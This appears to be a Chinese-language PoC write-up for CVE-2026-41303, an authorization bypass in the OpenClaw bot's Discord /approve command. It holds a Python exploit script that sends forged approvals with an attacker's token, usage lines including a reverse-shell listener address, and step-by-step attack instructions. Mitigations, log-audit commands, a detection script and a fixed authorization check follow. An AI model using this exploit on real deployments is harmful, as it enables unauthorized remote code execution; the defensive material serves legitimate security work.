channels.discord.execApprovals.approvers| 参数 | 值 |
|---|---|
| CVE ID | CVE-2026-41303 |
| 受影响产品 | OpenClaw |
| 漏洞类型 | 授权绕过 (CWE-863) |
| 攻击向量 | Discord 中的文本命令 |
| 平台 | Linux / Discord |
| CVSS 评分 | 8.8(高危) |
| 受影响版本 | < 2026.3.28 |
| 状态 | 已在 v2026.3.28+ 中修复 |
该漏洞源于 OpenClaw 机器人 /approve 命令处理器中缺乏授权验证。系统在处理请求之前,未能正确验证执行命令的用户是否属于授权审批人列表。
能够访问管理审批的 Discord 频道的攻击者可以:
未授权用户
↓
访问 Discord 频道
↓
识别待处理审批 ID
↓
执行 /approve 命令
↓
机器人未验证权限即批准
↓
远程代码执行 (RCE)
channel-id)approval-id)requests、json、argparseimport argparse
import requests
import json
import time
def main():
# 用于审计的专业参数配置
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - OpenClaw 审批绕过",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
使用示例:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="机器人实例或上下文的 URL")
parser.add_argument("--token", required=True, help="攻击者/审计员的 Discord 令牌")
parser.add_argument("--channel-id", required=True, help="Discord 频道 ID")
parser.add_argument("--approval-id", required=True, help="要绕过的审批 ID")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="审批决策类型(默认:allow-once)")
# 用于后利用的附加参数
parser.add_argument("--lhost", help="如果审批触发 RCE,用于反向 shell 的 IP")
parser.add_argument("--lport", help="监听端口")
parser.add_argument("--verbose", "-v", action="store_true", help="详细模式")
args = parser.parse_args()
# 利用逻辑
print(f"[*] 开始绕过审批:{args.approval_id}")
print(f"[*] 目标频道:{args.channel_id}")
print(f"[*] 决策:{args.decision}")
if args.verbose:
print(f"[DEBUG] 令牌:{args.token[:20]}...")
print(f"[DEBUG] 目标:{args.target}")
# 构造畸形请求
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# 发送 /approve 命令,无需权限验证
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] 绕过成功!审批已执行。")
print(f"[+] 响应:{response.json()}")
if args.lhost and args.lport:
print(f"[*] 反向 shell 已配置在 {args.lhost}:{args.lport}")
else:
print(f"[-] 错误:{response.status_code} - {response.text}")
except Exception as e:
print(f"[-] 异常:{str(e)}")
if __name__ == "__main__":
main()
# 基本用法
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# 详细模式
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# 带反向 shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. 获取对 OpenClaw 交互的 Discord 频道的访问权限
2. 监控机器人消息以识别待处理审批 ID
3. 捕获审批请求的确切格式
4. 记录 /approve 命令的结构
1. 使用捕获的 ID 执行 PoC 脚本
2. 连同参数一起发送决策(allow-once 或 allow-always)
3. 机器人处理命令时不验证用户权限
4. 审批成功执行
如果 Discord 中的文本审批触发服务器上的自动功能:
↓
代码部署
↓
远程代码执行 (RCE)
↓
系统完全沦陷
1. 更新 OpenClaw
# 更新到 2026.3.28 或更高版本
pip install --upgrade openclaw>=2026.3.28
# 或从官方仓库
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .
2. 检查配置
# 验证 channels.discord.execApprovals.approvers
# 文件:config.yaml
channels:
discord:
execApprovals:
approvers:
- "user_id_1"
- "user_id_2"
- "user_id_3"
# ⚠️ 确保此列表中只有受信任的用户
3. 日志审计
# 检查最近的执行记录
tail -f /var/log/openclaw/execution.log
# 查找可疑审批
grep "APPROVAL" /var/log/openclaw/execution.log | grep -v "AUTHORIZED_USER"
# 完整审计
openclaw-audit --check-approvals --date-range "last-30-days"
/approve 命令的监控# 用于检测利用的监控脚本
import logging
from datetime import datetime
def monitor_approvals(log_file):
"""检测授权绕过尝试"""
suspicious_patterns = [
"APPROVAL_BYPASS",
"UNAUTHORIZED_APPROVAL",
"INVALID_PERMISSION"
]
with open(log_file, 'r') as f:
for line in f:
if any(pattern in line for pattern in suspicious_patterns):
alert = f"[警报] {datetime.now()} - {line.strip()}"
logging.warning(alert)
# 向管理员发送通知
send_alert(alert)
def send_alert(message):
"""向管理员发送警报"""
# 实现通知(电子邮件、Slack 等)
pass
# 安全的验证实现
def approve_execution(user_id, approval_id, decision):
"""在批准前验证权限"""
# 1. 验证用户是否在审批人列表中
authorized_approvers = get_authorized_approvers()
if user_id not in authorized_approvers:
raise PermissionError(f"用户 {user_id} 未授权")
# 2. 验证审批存在且处于待处理状态
approval = get_approval(approval_id)
if not approval or approval.status != "PENDING":
raise ValueError(f"审批 {approval_id} 无效")
# 3. 记录操作
log_approval(user_id, approval_id, decision)
# 4. 执行审批
return execute_approval(approval_id, decision)
# config.yaml - 安全配置
security:
# 严格的权限验证
strict_authorization: true
# 要求多因素认证
mfa_required: true
# 记录所有审批
audit_logging: true
# 最大失败尝试次数
max_failed_attempts: 3
# 尝试之间的等待时间
lockout_duration: 300 # 秒
# 实时通知
real_time_alerts: true
channels:
discord:
execApprovals:
approvers:
- "admin_user_1"
- "admin_user_2"
# 允许的角色(附加)
allowed_roles:
- "ADMIN"
- "SECURITY_TEAM"
# 要求多个用户审批
require_multiple_approvals: true
approval_threshold: 2
╔═══════════════════════════════════════════════════════════════════════════╗
║ 重要声明 ║
╠═══════════════════════════════════════════════════════════════════════════╣
║ ║
║ 本文档仅用于教育和信息安全目的。此处包含的信息只能由授权的安全专业 ║
║ 人员在受控环境中使用。 ║
║ ║
║